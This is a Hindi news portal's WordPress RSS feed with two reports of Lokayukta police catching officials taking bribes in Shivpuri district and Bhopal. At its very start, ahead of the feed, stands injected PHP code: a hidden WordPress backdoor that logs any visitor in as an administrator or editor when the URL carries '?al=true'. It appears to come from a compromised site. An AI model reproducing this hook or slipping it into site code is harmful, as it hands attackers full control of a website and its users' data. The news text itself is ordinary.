// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Lokayukta police – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 20 Feb 2025 15:10:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 लोकायुक्त पुलिस ने पिछोर कस्बे में एक बड़ी कार्रवाई करते हुए दो पटवारियों को रिश्वत लेते हुए रंगे हाथ किया गिरफ्तार https://pratyushaashakinayikiran.com/?p=132733 Thu, 20 Feb 2025 15:10:00 +0000 https://pratyushaashakinayikiran.com/?p=132733 शिवपुरी
लोकायुक्त पुलिस ने शिवपुरी जिले के पिछोर कस्बे में एक बड़ी कार्रवाई करते हुए दो पटवारियों को रिश्वत लेते हुए रंगे हाथ गिरफ्तार किया है। आरोप है कि इन पटवारियों ने नामांतरण के मामले में 23 हजार रुपये की रिश्वत ली थी। यह घटना पिछोर के छिरवाया निवासी शंकर लोधी के साथ हुई, जिन्होंने लोकायुक्त पुलिस में शिकायत दर्ज कराई थी। शंकर लोधी ने बताया कि वह अपने तीन रजिस्ट्री नामांतरण के लिए हल्का पटवारी दिग्विजय सिंह परिहार के पास गए थे।

नामांतरण की प्रक्रिया के दौरान दिग्विजय सिंह ने उनसे 30 हजार रुपये की रिश्वत मांगी। बाद में यह रकम 25 हजार रुपये पर तय हुई। शंकर लोधी ने इसकी शिकायत लोकायुक्त पुलिस से की। उसके बाद रिश्वत देने का जाल बिछाया गया।

लोकायुक्त पुलिस की कार्रवाई
शिकायत के बाद लोकायुक्त पुलिस ने अग्रिम के रूप में 2 हजार रुपये की रिश्वत देकर मामले की पुष्टि की। गुरुवार को जब शंकर लोधी दिग्विजय सिंह परिहार के घर 23 हजार रुपये की रिश्वत देने पहुंचे, तो वह पास ही के अपने साथी पटवारी प्रहलाद वर्मा के घर बैठे थे। दिग्विजय सिंह ने रिश्वत की रकम प्रहलाद वर्मा से ली और फिर उसे अपने पास रखा।

दोनों पटवारियों की गिरफ्तारी
लोकायुक्त पुलिस ने मामले में कार्रवाई करते हुए दोनों पटवारियों को रंगे हाथ गिरफ्तार किया। गिरफ्तारी के समय नोट पर लगे केमिकल की वजह से दोनों पटवारियों की गतिविधियां पकड़ी गईं। अब इस मामले में दोनों पटवारियों के खिलाफ आपराधिक प्रकरण दर्ज कर विवेचना शुरू कर दी गई है।
लोकायुक्त पुलिस के टीआई बृजमोहन सिंह नरवरिया ने बताया कि मामले की गंभीरता से जांच की जा रही है और दोषियों को सख्त सजा दिलवाने के लिए आवश्यक कार्रवाई की जाएगी।

 

]]>
भोपाल में लोकायुक्त पुलिस ने बीडीए के बाबू को रिश्वत लेते हुए रंगे हाथ गिरफ्तार किया https://pratyushaashakinayikiran.com/?p=63674 Sat, 24 Aug 2024 13:26:00 +0000 https://pratyushaashakinayikiran.com/?p=63674 भोपाल

लोकायुक्त भोपाल की टीम ने शुक्रवार को भोपाल विकास प्राधिकरण (BDA) कार्यालय में सहायक ग्रेड-1 के बाबू तारकचंद दास को रिश्वत लेते हुए रंगे हाथों पकड़ा। पुलिस अधीक्षक मनु व्यास के मार्गदर्शन में की गई इस कार्यवाही में बाबू तारकचंद दास को 40 हजार रुपये की रिश्वत लेते समय गिरफ्तार किया गया।

जानकारी के अनुसार भोपाल विकास प्राधिकरण कार्यालय में पदस्थ सहायक ग्रेड 1 के बाबू तारकचंद दास की शिकायतकर्ता किसान ने शिकायत की। उसकी तरफ से बताया गया कि उसका रत्नागिरी रायसेन रोड, पिपलानी में मकान है। उसके मकान की लीज के नवीनीकरण के लिए बाबू तारकचंद दास ने 3,35,000 रुपये की रिश्वत की मांग की थी। किसान पिछले 6 महीनों से अपने मकान की लीज नवीनीकरण के लिए दास के पास चक्कर काट रहा था, लेकिन बिना रिश्वत के उसका काम नहीं हो पा रहा था।

शिकायत के सत्यापन के बाद लोकायुक्त ने ट्रेप की कार्यवाही की और आरोपी को बाबू को उसके पंचशील नगर निवास पर आवेदक से 40 हजार रुपए की रिश्वत लेते हुए रंगे हाथों पकड़ा। आरोपी के खिलाफ भ्रष्टाचार निवारण अधिनियम के तहत कार्यवाही की जा रही है। कार्यवाही करने वाली टीम के अन्य सदस्य निरीक्षक रजनी तिवारी, निरीक्षक घनश्याम मर्सकोले, प्रधान आरक्षक रामदास कुर्मी, मुकेश सिंह, राजेंद्र पावन, नेहा परदेसी, और आरक्षक मनमोहन साहू भी इस सफल कार्यवाही में शामिल थे।

अवैध रजिस्ट्री के मामले की भी होगी जांच

होशंगाबाद रोड स्थित विद्या नगर में अनिल साखी के प्लॉट की रजिस्ट्री किसी अन्य व्यक्ति के करा लेने के मामले में 19 जून को क्राइम ब्रांच ने FIR दर्ज की है। इस मामले में BDA के सीनियर अफसरों की भूमिका भी संदिग्ध बताई जाती है। फिलहाल कलेक्टोरेट में इसकी जांच चल रही है।

लोकायुक्त पुलिस इस रजिस्ट्री में तारकचंद दास की भूमिका की भी जांच करेगी। BDA की राजस्व शाखा में खासतौर से लीज नवीनीकरण, नामांतरण, NoC के 300 से ज्यादा मामले पिछले छह महीने से पेंडिंग हैं। जिसके लिए लोग यहां चक्कर काटते रहते हैं।

]]>